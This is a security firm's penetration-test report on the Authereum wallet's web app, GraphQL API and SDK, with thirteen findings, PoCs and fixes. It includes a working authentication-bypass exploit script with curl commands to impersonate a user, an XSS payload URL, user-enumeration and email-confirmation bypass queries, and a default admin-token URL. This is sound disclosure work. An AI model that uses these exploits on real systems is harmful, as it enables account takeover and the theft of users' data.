Fine penetration tests for fine websites

Dr.-Ing. Mario Heiderich, Cure53
Bielefelder Str. 14
D 10709 Berlin
cure53.de · mario@cure53.de

Pentest-Report Authereum Web, API & SDK 06.2020

Cure53, Dr.-Ing. M. Heiderich, MSc. N. Krein, BSc. T.-C. “Filedescriptor” Hong, MSc. D. Weißer, MSc. R. Peraglie

Index

Dr.-Ing. Mario Heiderich, Cure53
Bielefelder Str. 14
D 10709 Berlin
cure53.de · mario@cure53.de

Introduction

"Decentralized finance, or "DeFi", has grown to become the undeniably dominant use case for Ethereum today. With funds locked in DeFi protocols exceeding $1 billion earlier this year, we are witnessing the start of an entirely new financial system being built from the bottom up. New DeFi protocols seem to be popping up every week. These protocols, often colloquially referred to as "Money Legos", can be combined and composed to create entirely new financial products.…"

From https://authereum.com/welcome

This report describes the findings or a thorough penetration test and source code audit carried out by Cure53 against the Authereum complex, inclusive of its Web UI, API and SDK. The work was carried out by Cure53 in June 2020.

As for the resources and methods, the assignment benefited from a team of five Cure53 team members with best-suited expertise and skills. They utilized a budget of sixteen days to reach good coverage over the scope. The examination followed a white-box methodology and Cure53 was granted access to source codes, a threat model document created by the Authereum team, as well as other test-supporting material and a scope document.

To best address the goals shared by the Authereum team, the work has been split into three work packages (WPs). In WP1, Cure53 investigated the Authereum frontend UI written in JS/TS. Next, attention was paid to the backend and API available in JS/TS/GraphQL during work conducted for WP3. Finally, the SDK and iframe logic of Authereum, written in JS/TS, took center stage in WP3.

The project started on time and progressed efficiently. The communications during the test between Authereum and Cure53 were done in a shared Slack channel through which two workspaces of Authereum and Cure53 were connected. Everyone partaking or supporting the testing process could join the conversations. Communications were very good and productive. Cure53 could ask questions and used the channel for regular status updates. The Authereum team requested live-reports which Cure53 delivered via the aforementioned channel.

Commenting on the findings, the tests and audits managed to unveil a total of thirteen issues, eight of which were classified to be security vulnerabilities marked by varying severity levels, while the remainder of five flaws encompasses general weaknesses, typically characterized by lower exploitation potential. All tickets listed in this report have already been reported to Authereum before the finalization of the report. In fact, the in-

Dr.-Ing. Mario Heiderich, Cure53
Bielefelder Str. 14
D 10709 Berlin
cure53.de · mario@cure53.de

house team at Authereum aptly addressed some of the issues while the test was still ongoing and the fixes could be successfully verified by Cure53.

It needs to be noted that one issue, signifying an authentication bypass, was given a *Critical* severity rating due to potentially grave effects for the platform-users. Another issue was scored as *High* because it points at the usage of default *admin* credentials on mainnet. All other findings were of either *Medium* or lower impact, overall making up for a relatively good holistic impression made by the Authereum complex during this assignment.

In the following sections, the report will first shed light on the scope and key test parameters. Next, all findings will be discussed in a chronological order, grouped by two categories. The flaws are presented alongside technical descriptions, as well as PoC, mitigation advice and fix notes when applicable. Finally, the report will close with broader conclusions about this 2020 project. Cure53 elaborates on the general impressions and reiterates the verdict based on the testing team's observations and collected evidence. Tailored hardening recommendations for Authereum are also incorporated into the final section.

Dr.-Ing. Mario Heiderich, Cure53
Bielefelder Str. 14
D 10709 Berlin
cure53.de · mario@cure53.de

Scope

- **Penetration Tests & Code Audits of the Authereum Web UI, API & SDK**
  - **WP1**: Authereum frontend & UI written in JS/TS
    - https://authereum.com
  - **WP2**: Authereum backend & API written in JS/TS/GraphQL
    - https://api.authereum.com
  - **WP3**: Authereum SDK & iframe logic written in JS/TS
    - https://x.authereum.com
- **Sources were shared with Cure53**
- **Additional material was shared with Cure53**
  - Test-supporting material, threat model and scope document were shared with Cure53. Penetration testing was predominantly done on testnet. Some tests were executed on the mainnet as well.

Dr.-Ing. Mario Heiderich, Cure53
Bielefelder Str. 14
D 10709 Berlin
cure53.de · mario@cure53.de

Identified Vulnerabilities

The following sections list both vulnerabilities and implementation issues spotted during the testing period. Note that findings are listed in chronological order rather than by their degree of severity and impact. The aforementioned severity rank is simply given in brackets following the title heading for each vulnerability. Each vulnerability is additionally given a unique identifier (e.g. *AUR-01-001*) for the purpose of facilitating any future follow-up correspondence.

AUR-01-003 WP2: GraphQL endpoints disclose mail addresses of users *(Medium)*

Enumerating all implemented GraphQL endpoints on the Authereum web application led to the discovery of a simple information leak that can be exploited by unauthenticated users. The culprits are the *getUserByUsername* and *getUserByEmail* endpoints that either receive a username or email address and disclose user-details to the requesting attacker. The following example shows how an attacker wanting to leak some details from the *c53niko* user receives both their own userID and an email address.

Example GQL Query:

```
query{
  getUserByUsername(username: "c53niko"){
    id
    confirmed
    email
    accountId
    referrer
    createdAt
  }
}
```

Returned Response:

```
{
  "data": {
    "getUser": {
      "id": "0880d522-58b5-4c38-80e7-caacfb33e0ab",
      "confirmed": true,
      "email": "niko+authereum1@cure53.de",
      "accountId": null,
      "referrer": null,
      "createdAt": 1592815242
    }
  }
}
```

Being able to dump user-details like these represents a privacy breach, especially considering the fact that this request also applies to targeted users who chose not to

Dr.-Ing. Mario Heiderich, Cure53
Bielefelder Str. 14
D 10709 Berlin
cure53.de · mario@cure53.de

make their profile public. Attackers can abuse this endpoint to quickly enumerate potential email addresses, so as to run targeted spamming or brute-force attacks. Additionally, the leaked userID can be used for a targeted account takeover described in AUR-01-010.

It is recommended to make sure that user-privacy is honored by disallowing users from simply requesting email addresses of other users.

AUR-01-007 WP2: *updateEmail* confirms arbitrary mail addresses *(Medium)*

Further audits of GraphQL endpoints resulted in a finding that lets a user bypass email confirmation. Consequently, an attacker is able to register arbitrary email addresses despite not being the actual owner of them. This vulnerability was originally spotted in the following parts of the application's source code.

Affected File:
monorepo-develop/packages/backend/src/graphql/resolvers/User.ts

Affected Code:
```
@Authorized('USER')
@Mutation(returns => types.User)
async updateEmail (
  @Args() input: types.UpdateEmailInput,
  @Ctx() ctx: types.Context
): Promise<types.User> {
  const { userId } = ctx.auth
  input.userId = userId

  return User.updateEmail(input)
}
```

Affected File:
monorepo-develop/packages/backend/src/models/User/User.ts

Affected Code:
```
static updateEmail = async (
  { userId, newEmail }:
  {userId: string, newEmail: string}
) => {
  if (!isUuid(userId)) {
    throw new Error('User id is invalid')
  }

  if (!validEmail(newEmail)) {
    throw new Error('Email is invalid')
```

Dr.-Ing. Mario Heiderich, Cure53
Bielefelder Str. 14
D 10709 Berlin
cure53.de · mario@cure53.de

```
  }

  await db.updateEmail({ userId, email: newEmail })
  return db.selectUserById(userId)
}
```

One can see here that the *updateEmail* endpoint does not honor the intended email confirmation flow by not marking the new email as unverified. Instead, the old and already confirmed email is simply overwritten with the new one. The following example mutation demonstrates this. The only requirement is that the previously registered email of the requesting user has already been verified.

PoC Mutation:

```
mutation{
  updateEmail(userId: "taken from ctx", newEmail: "admin@authereum.com"){
    id
    confirmed
    email
    password
    accountId
    referrer
    createdAt
  }
}
```

Response:

```
{
  "data": {
    "updateEmail": {
      "id": "90711715-e2d1-4223-b8ae-754e4c3be76a",
      "confirmed": true,
      "email": "admin@authereum.com",
      "password": null,
      "accountId": null,
      "referrer": null,
      "createdAt": 1592990037
    }
  }
}
```

Being able to register arbitrary email addresses does not lead to a direct compromise of other accounts, hence the *Medium* severity score. At the same time, this might be abused by creative attackers to convince people into sending coins to the wrong account. Also, given that this is a bypass of the expected functionality, it is definitely an undesired problem.

Dr.-Ing. Mario Heiderich, Cure53
Bielefelder Str. 14
D 10709 Berlin
cure53.de · mario@cure53.de

It is recommended to remove this endpoint from the GraphQL models entirely or restrict it to administrative backend users.

AUR-01-008 WP1: Default admin credentials deployed on mainnet *(High)*

Checking out default configuration entries in the given source code package of Authereum revealed that weak default secrets are used in the codebase. This is seen in the relevant config files below.

Affected File:
monorepo-develop/packages/backend/src/config/config.ts

Affected Code:

```
export const adminAccessToken: string = process.env.ADMIN_ACCESS_TOKEN ||
'secret'
```

As one can see above, improper deployment or migration might result in a weak administrative *access* token (*"secret"*) being used by the backend. More importantly, this was confirmed to be the case for the Authereum mainnet where exactly this issue was reproduced. As the following URL shows, the admin API is reachable with the weak *access* token.

Affected Mainnet-URL *(example)*:
https://api.authereum.com/v1/admin/stats?access_token=secret

Returned Response *(example)***:**
[All currently registered accounts, emails and usernames]

Since this is a rather large privacy breach and, among other things, also allows attackers to activate maintenance mode, this issue was rated as *High*. It is firstly recommended to make sure that weak default secrets are prevented. Secondly, there should be a check whether the given environment variables are actually set prior to initializing the application. Thirdly, it is generally unwise to accept *access* tokens via *GET* and this is separately filed in AUR-01-009.

Fix Note: *This issue was confirmed as fixed during the testing phase and the fix was confirmed by Cure53.*

Dr.-Ing. Mario Heiderich, Cure53
Bielefelder Str. 14
D 10709 Berlin
cure53.de · mario@cure53.de

AUR-01-010 WP1: Authentication bypass through overriding *Auth* key *(**Critical**)*

It was found that the web application allows overriding sensitive key information of the *Auth* key and *Login* key. This applies to any user and can be achieved by anyone. This increases the risk of an attacker taking advantage of this vulnerability and using the private key associated with an overridden *Auth* key to sign the authentication challenge of a targeted user. This deletes the privileged key store of the victim, denying authentication and allowing attackers to extract sensitive information and perform malicious actions. In contrast, the attackers could choose to override the *Login* key of a victim, doing so to extract the sensitive key store that holds the encrypted private key for the Ethereum address, permitting offline attacks against the underlying cryptography.

Steps to reproduce:

1. Specify the parameters in the script called *AUR-01-010.js*
    1. *target* - holds the URL of the targeted Authereum GraphQL endpoint
    2. *userID* - identifies the hijacked userID
2. Execute the *AUR-01-010.js* script; the output should be a *JWT* token
3. The *JWT* token can now be used to authenticate with the targeted Authereum net.

Exploit *(AUR-01-010.js)***:**

```
const util = require('ethereumjs-util')
const keythereum = require('keythereum')
const jwt = require('jsonwebtoken')
const fetch = require('node-fetch')
var target = "https://ropsten.api.authereum.com/graphql"
var userId = "0702bf6d-89ae-4199-8e03-7fd75a0bf16b"
var params = { keyBytes: 32, ivBytes: 16 };
var dk = keythereum.create(params);
var password = "cure53ABCDEF!%§"
var options = {kdf: "pbkdf2", cipher: "aes-128-ctr", kdfparams: { c: 100000,
dklen: 32, prf: "hmac-sha256" }}
var keyObject = keythereum.dump(password, dk.privateKey, dk.salt, dk.iv,
options);
var address = util.toChecksumAddress("0x"+keyObject.address)
fetch(target, {
       method : "POST",
       headers: {"Content-Type":"application/json"},
       body : JSON.stringify({query : 'query a($input: GetAuthChallengeInput)
{ getAuthChallenge(input: $input) { challenge } }', variables : {input :
{ userId : userId }}})
}).then(r => r.json()).then(r =>
r.data.getAuthChallenge.challenge).then(challenge => {
       var messageHash =
util.hashPersonalMessage(Buffer.from(challenge,"latin1"))
       var sig = util.ecsign(messageHash, dk.privateKey)
```

Dr.-Ing. Mario Heiderich, Cure53
Bielefelder Str. 14
D 10709 Berlin
cure53.de · mario@cure53.de

```
	var hexsig="0x"+sig.r.toString("hex")+sig.s.toString("hex")
+sig.v.toString(16)
	var payload = {challenge : challenge, signature : hexsig}
	var jwttoken = jwt.sign(payload, "authereum")
	var addauthkeyinput={publicAddress : address, keystore :
JSON.stringify(keyObject), deviceId : "78b1ac33-f31a-44b6-94e8-74c37ee3c27b",
userId : userId}
	fetch(target, {
		method : "POST",
		headers: {"Content-Type":"application/json"},
		body : JSON.stringify({query : 'mutation a($input:
AddAuthKeyInput) { addAuthKey(input: $input) { id } }', variables : {input :
addauthkeyinput }})
	}).then(r => r.json())
	console.log("use this token: " + jwttoken)
})
```

The following steps show a few more details on how to reproduce this issue with the given exploit and how to impersonate a targeted user:

Example Usage:

1. Get userID of targeted username (“*c53hacker*” on *ropsten*):

   ```
   $ curl -i -s -k  -X $'POST' -H $'Host: ropsten.api.authereum.com' -H
   $'Accept: application/json' -H $'Content-Type: application/json' -H
   $'Content-Length: 201' --data-binary $'{\"query\":\"query{\\n
   getUserByUsername(username: \\\"c53hacker\\\"){\\n    id\\n
   confirmed\\n    email\\n    password\\n    accountId\\n    referrer\\n
   createdAt\\n  }\\n}\",\"variables\":{},\"operationName\":null}'
   $'https://ropsten.api.authereum.com/graphql'
   ```

   Response:

   ```
   {"data":{"getUserByUsername":{"id":"0702bf6d-89ae-4199-8e03-7fd75a0bf16b"
   ```

2. Embed details into an exploit:

   ```
   $ cat AUR-01-010.js
   [...]
   var target = "https://ropsten.api.authereum.com/graphql"
   var userId = "0702bf6d-89ae-4199-8e03-7fd75a0bf16b"
   $ node AUR-01-010.js
   use this token: eyJhbGciOiJI[...]A1vY
   ```

3. Use the token on, e.g. GraphQL queries to impersonate the targeted user:

   ```
   $ curl -i -s -k  -X $'POST'      -H $'Host: ropsten.api.authereum.com' -H
   $'Content-Type: application/json' -H $'Authorization: Bearer
   eyJhbGciOiJI[...]A1vY' -H $'Content-Length: 364' -H $'Connection: close'
   --data-binary $'{\"query\":\"query{\\n  getUserState{\\n    user {\\n
   ```

Dr.-Ing. Mario Heiderich, Cure53
Bielefelder Str. 14
D 10709 Berlin
cure53.de · mario@cure53.de

```
id\\n      confirmed\\n      email\\n      password\\n      accountId\\n
referrer\\n      createdAt\\n    } \\n  \\n    loginHistory {\\n
id\\n      userId\\n      ipAddress\\n      userAgent\\n      location\\n
description\\n      success\\n      createdAt\\n    } \\n\\n  }\\
n}\",\"variables\":{},\"operationName\":null}'
$'https://ropsten.api.authereum.com/graphql'
```

Response:
[all queried user details about c53hacker]

Affected Mutations:

- *addAuthKey*
- *addLoginKey*
- *addKeystore*

It is recommended that the affected GraphQL mutations require users to be authenticated. More importantly, it is advisable that the *userID* parameters are removed from the GraphQL models and the userID is instead only received from the authentication context. With a revised approach, attackers can only add *authentication* or *login* keys to users that they can authenticate with.

AUR-01-012 WP3: Clickjacking in *confirmation* dialog *(Medium)*

After the Authereum wallet is connected to a dApp, subsequent actions performed by the dApp require users to click a button to confirm them. Authereum shows the confirmation dialog in an iframe embedded onto the page. Since the iframe is under the dApp's control, a malicious dApp can use CSS to style the iframe in a way that makes it impossible for users to realize they are clicking on a button belonging to the iframe, essentially exploiting Clickjacking.

Steps to reproduce:

1. Go to https://kovan.demo.authereum.com/
2. Ensure that the Web3 provider is enabled
3. Sign a message
4. Open Devtools, then add a CSS style "*opacity: 0.1*" to the *confirmation* dialog
5. Notice that the dialog becomes invisible but the button is still 'clickable'.
6. Click on the *Sign* button and notice the message has been signed

It is recommended not to show any dialog that requires user-interaction onto a page that is embedding Authereum's iframes. This is because the page has the ability to control visual appearance of iframes, while it should open a new window instead.

Dr.-Ing. Mario Heiderich, Cure53
Bielefelder Str. 14
D 10709 Berlin
cure53.de · mario@cure53.de

Miscellaneous Issues

This section covers those noteworthy findings that did not lead to an exploit but might aid an attacker in achieving their malicious goals in the future. Most of these results are vulnerable code snippets that did not provide an easy way to be called. Conclusively, while a vulnerability is present, an exploit might not always be possible.

AUR-01-001 WP1: XSS via JavaScript link on *redirect_uri* *(Low)*

A reflected XSS was spotted in the */confirm-email* endpoint via the *redirect_uri* parameter. This is due to the fact that this parameter is reflected in an *<a>* tag without restricting it to being a HTTP(s) URL so a *javascript:* link can pass through. This issue is currently not exploitable due to the CSP in place.

PoC:
https://kovan.authereum.com/confirm-email?
redirect_uri=javascript:alert(document.domain)

It is recommended to restrict all external links to start with HTTP(s), or at least whitelist the URI scheme to prevent XSS.

AUR-01-002 WP3: SDK integration via CDN does not use SRI *(Low)*

The SDK documentation states that one can import the library via an external *<script>* to a CDN URL[1]. However, the provided code snippets do not make use of the Subresource Integrity[2]. This browser feature ensures the fetched file has not been tampered with. It is particularly useful for sites importing external JavaScript files, even more so in case the servers providing the files were to be compromised. In fact, such an incident has happened when an attacker compromised a server responsible for a JavaScript file used by hundreds of websites and inserted a malicious code[3].

Affected Code:

```
<script src="https://cdn.jsdelivr.net/npm/authereum@latest/authereum.js"></
script>
```

It is recommended to make use of the Subresource Integrity in the provided code snippet to ensure the fetched script is secured against tampering.

[1] https://docs.authereum.com/install#cdn
[2] https://developer.mozilla.org/en-US/docs/Web/Security/Subresource_Integrity
[3] https://scotthelme.co.uk/protect-site-from-cryptojacking-csp-sri/

Dr.-Ing. Mario Heiderich, Cure53
Bielefelder Str. 14
D 10709 Berlin
cure53.de · mario@cure53.de

AUR-01-004 WP3: HTTP parameter pollution in captcha verification *(Low)*

It was found that the web application embeds unsanitized user-input into the HTTP query parameters. This could be abused to add or modify HTTP parameters, for instance by changing the secret of the verification request. This could be abused to take captchas solved on other pages with different secrets to bypass the captcha verification on Authereum.

Affected File:
packages/backend/src/models/User/User.ts

Affected Code:

```
let captchaUrl: string = 'https://www.google.com/recaptcha/api/siteverify?'
const data: any = {
       secret: recaptchaV2Token ? contactUsRecaptchaV2Secret : recaptchaSecret,
       response: recaptchaV2Token ? recaptchaV2Token : recaptchaToken
}
[...]
for (let key in data) {
       captchaUrl += `${key}=${data[key]}&`
}
```

It is recommended to properly encode the parameters into the URL by escaping HTTP meta-characters. This could be achieved with the JavaScript function called *encodeURIComponent* or with the *encodeFormData* function in Authereum. By doing so, attackers cannot escape from the HTTP query field preventing them from injecting into other HTTP query fields like the secret parameter in the verification request.

AUR-01-005 WP3: Unsanitized email address embedded into template *(Info)*

It was found that an unsanitized email address was used in HTML markup embedded into the email template. This induces the risk of attackers signing up emails they do not own, specifically finding a sequence of meta-characters in the subaddress-space that could be used to deny the *unsubscription* of emails or change the underlying HTML markup.

PoC:

```
victim+authereum%32@cure53.de
```

Affected File:
packages/backend/src/models/Mailer/Mailer.ts

Dr.-Ing. Mario Heiderich, Cure53
Bielefelder Str. 14
D 10709 Berlin
cure53.de · mario@cure53.de

Affected Code:

```
let unsubscribeTemplate = '<a href="https://authereum.com/unsubscribe?
email={{emailAddress}}" [...]>Click here to unsubscribe.</a>'
[...]

static sendConfirmationEmail = async (input: ISendConfirmationEmailInput) => {
       const { to, pendingEmailId } = input
       const callbackUrl = `${apiBaseUrl}/confirm-email?pending_email_id=$
{pendingEmailId}`
       [...]
       let unsubscribe = unsubscribeTemplate.replace(/{{emailAddress}}/gi, to)
```

It is recommended that the email address is sanitized before embedding it into the HTML markup. This could be done with the *encodeURIComponent* function which will escape HTML-relevant meta-characters and deny attackers' attribute or HTML injections.

AUR-01-006 WP1: Lax CSP configurations for *script-src* (*Info*)

It was found that the CSP in use has *script-src* configurations widely accepting external (sub)domains. This may allow CSP bypasses via script gadgets[4], doing so by importing an external script allowed by the CSP and capable of executing arbitrary JavaScript code.

Affected File:
packages/frontend/public/_headers

CSP:

```
default-src 'none'; child-src 'self' https://*.google.com https://google.com
https://*.gstatic.com https://gstatic.com blob:; script-src 'self'
https://*.authereum.com https://*.google.com https://*.gstatic.com
https://*.google-analytics.com https://authereum.com https://google.com https://
gstatic.com https://google-analytics.com resource: blob:; connect-src 'self'
https://*.authereum.com wss://*.authereum.com https://*.google-analytics.com
wss://*.blocknative.com wss://*.walletconnect.org wss://*.3box.io:*
https://*.3box.io http://localhost:* ws://localhost:* https://authereum.local:*
wss://authereum.local:* https://*.duckduckgo.com https://*.sendwyre.com https://
*.testwyre.com https://staging-api.transak.com https://api.transak.com
https://*.infura.io https://*.google.com https://*.gstatic.com
https://google.com https://gstatic.com https://*.squarelink.com https://*.tor.us
http://127.0.0.1:21325; img-src * data: blob:; frame-src 'self'
https://*.google.com https://*.gstatic.com https://google.com
https://gstatic.com https://*.authereum.com http://localhost:* https://widget-
instant.ramp.network https://ri-widget-staging-kovan.firebaseapp.com https://ri-
widget-staging.firebaseapp.com https://ri-widget-staging-goerli.firebaseapp.com
https://ri-widget-staging-ropsten.firebaseapp.com https://authereum.local:*
```

[4] https://www.blackhat.com/docs/us-17/thursday/us-17-Lekies-Dont-Trust-...ions-Via-Script-Gadgets.pdf

Dr.-Ing. Mario Heiderich, Cure53
Bielefelder Str. 14
D 10709 Berlin
cure53.de · mario@cure53.de

```
https://*.3box.io https://3box.io https://widget-instant.ramp.network
https://ri-widget-staging-kovan.firebaseapp.com https://ri-widget-
staging.firebaseapp.com https://ri-widget-staging-goerli.firebaseapp.com
https://ri-widget-staging-ropsten.firebaseapp.com
chrome-extension://kmendfapggjehodndflmmgagdbamhnfd/u2f-comms.html
https://widget.portis.io https://x2.fortmatic.com https://app.tor.us
https://squarelink.com https://universal-provider-backend.netlify.com
https://universal-provider-backend.netlify.app https://connect.trezor.io
https://global.transak.com https://staging-global.transak.com; style-src *
'unsafe-inline'; font-src https://*.gstatic.com; object-src 'none'; form-action
'none'; manifest-src 'self'; base-uri 'none'; block-all-mixed-content;
```

It is recommended to restrict the list of allowed hosts in the *script-src* directive. A starting point can be to eliminate known bypasses according to the CSP evaluator[5].

AUR-01-009 WP1: Admin *access* token transferred via *GET* *(Medium)*

Having applications accept *access* tokens or other secret values over HTTP *GET* should be seen as highly undesirable. The following snippet of the Authereum codebase demonstrates just one example occasion.

Affected File *(example)***:**
monorepo-develop/packages/backend/src/routes/admin/adminStats.ts

Affected Code:

```
const adminStats = async (req: express.Request, res: express.Response) => {
  try {
    const { access_token } = req.query
    if (access_token !== adminAccessToken) {
      return res.json({
        success: false,
        error: 'Unauthorized'
      })
    }
```

URLs are constantly logged, either via access logs of the HTTP server, logs in load balancers or CDNs, entries via referrer headers and so on. The list of potential leaks is practically endless.

As such, Authereum should prevent exposure of secrets via request URLs and instead transmit them with a separate header. This is practically how it is already done with all other endpoints that extract the *auth* context from *JWT*.

[5] https://csp-evaluator.withgoogle.com/

Dr.-Ing. Mario Heiderich, Cure53
Bielefelder Str. 14
D 10709 Berlin
cure53.de · mario@cure53.de

AUR-01-011 WP2: Password keystore discrepancy causes Denial-of-Service *(Low)*

When the password of an account is updated, the keystore gets re-encrypted with a new key. The new password and the keystore are submitted in separate requests to the application. This can lead to the stored password and keystore getting out of sync when one of the update requests fails.

In a real-world scenario an attacker would have to cut the connection at the right time in order to exploit the issue. Thus, the approach makes the attack difficult to execute and relatively unlikely. However, there is a non-negligible risk that the problem can occur by accident, for example, when the user closes the browser window at the wrong time or a really bad Internet connection is used. It was further observed that an account that was deliberately bricked that way cannot be restored using the recovery mnemonics.

Steps to reproduce:

1. Create an account
2. Intercept connection (e.g. with Burp)
3. Submit the form for changing the Password
4. Use burp to pass the first request which contains the new password hash to the application and drop all other requests.
5. Log out or delete browser data
6. Try logging in again (not possible due to checksum error)

It is recommended to implement the password change so that password and keystore are updated at the same time. This is needed to prevent the risk of both items running out of sync. This could be achieved by merging everything needed into one request.

AUR-01-013 WP2: Rate-limiters can be bypassed by changing headers *(Low)*

In order to prevent brute-force attacks, the application utilizes a rate-limiter for login and email verification. As the data used for the rate-limit is fully defined by the user, the security measure can easily be bypassed. The following code snippet shows the rate-limiting for the login. The combination of the client's IP address and the user-agent are used to register the login attempts and to block requests accordingly.

Affected File:
authereum/monorepo-develop/packages/backend/src/models/User/User.ts

Affecte Code:

```
const backoffTimeout = await LoginAttempt.maxLoginAttemptsTimeout({ ipAddress, userAgent })
if (backoffTimeout) {
```

Dr.-Ing. Mario Heiderich, Cure53
Bielefelder Str. 14
D 10709 Berlin
cure53.de · mario@cure53.de

```
  throw new RateLimitError(`Maximum login attempts reached. Please try again in
${backoffTimeout} seconds.`)
}
```

The following code snippet shows how the IP address is obtained. Instead of the real address, the values from the HTTP request header are preferred. More importantly, they can be chosen arbitrarily, rendering the rate-limiter completely useless.

Affected File:
monorepo-develop/packages/backend/src/server/server.ts

Affected Code:

```
const ipAddress = req.get('x-real-ip') || req.get('x-forwarded-for') ||
req.connection.remoteAddress || req.ip
```

It is recommended to build a rate-limiter which is based on values the client cannot change without a lot of effort. Relying on values in the HTTP header should be eliminated. In this case, it would be better to rely on the real IP address. This could still be overcome with a botnet but requires way more effort than changing values in the request.

Dr.-Ing. Mario Heiderich, Cure53
Bielefelder Str. 14
D 10709 Berlin
cure53.de · mario@cure53.de

Conclusions

It needs to be emphasized that this report sheds light on the first penetration test that Cure53 carried out against the Authereum platform. Therefore, it is not particularly surprising that five members of the testing team have been able to document quite a large number of problems, ranging from *Low* to even *Critical*-ranking risks. After spending sixteen days on the scope in June 2020, Cure53 must also state that an array of thirteen findings nevertheless does not take away from some of the observed strengths of Authereum. Additionally, since the platform is relatively young and does not appear to have undergone any penetration tests in the past, this can be treated as an expected outcome.

Moving on to some specifics, while the platform generally follows the rule of modern web application development in terms of chosen frameworks and application design, there are a number of issues in each of the components that glue the whole system together. On the one hand, the frontend should XSS automatically eliminated due to the use of the React framework. On the other hand, there are still potential edge cases where XSS might be possible. One such occasion was found in AUR-01-001. Although Authereum tries to limit impact of XSS via recommended security headers and CSP, the CSP configurations were found to include external hosts with known bypasses (AUR-01-006). The latter can aid attackers in exploiting XSS under certain conditions. Additionally, Clickjacking was spotted in the handling of confirmation dialog, especially as it displays the dApp's context (AUR-01-012). This could allow a malicious dApp to perform actions on behalf of a victim.

As for the backend, multiple issues emerged as well, some of them very serious. Because of ACL issues within the implementation of the GraphQL endpoints, tickets AUR-01-003 and AUR-01-008 could have allowed attackers an easy way to gain unauthenticated access to user-accounts of Authereum. The analysis of currently deployed configuration entries also revealed a botched migration inside the mainnet where attackers could have easily gained access to administrative backend functionality. While this all sounds worrisome, all spotted issues were quickly resolved and mitigated, with the high dedication to recurrence prevention within the code.

Moreover, the whole codebase stood rather strong against more common web security flaws, such as SQL Injection within the PostgreSQL backend, RCE or SSRF. Prepared statements instead of dynamic queries and encryption mechanisms based on *keythereum* build a strong foundation undergirding the Authereum architecture. Still, the high complexity of the architecture is connected to the increased risk for the Authereum users. This, in combination with the severity and number of the issues, indicates that the

Dr.-Ing. Mario Heiderich, Cure53
Bielefelder Str. 14
D 10709 Berlin
cure53.de · mario@cure53.de

issues could not be fully minimized or fully covered in the context of this June 2020 project.

Conclusively, it is advisable for the Authereum project to continue the auditing processes with enlarged timeframes. In light of the findings, Cure53 would recommend a stronger focus on the Authereum's solidity contracts next, namely once all security issues are resolved. Again, it is important to highlight that the Authereum team was quite skillful and reacted very fast, swiftly eradicating the most severe flaws. All discussions were efficient and were met with good response times, despite the location-based time difference. All in all, Cure53 is still happy with the process, collaboration and result of this summer 2020 pentest. It is hoped that this assessment established a baseline and best practices for further penetration testing engagements.

Cure53 would like to thank Chris Whinfrey, Miguel Mota, Shane Fontaine and Adam Hanna from the Authereum team for their excellent project coordination, support and assistance, both before and during this assignment.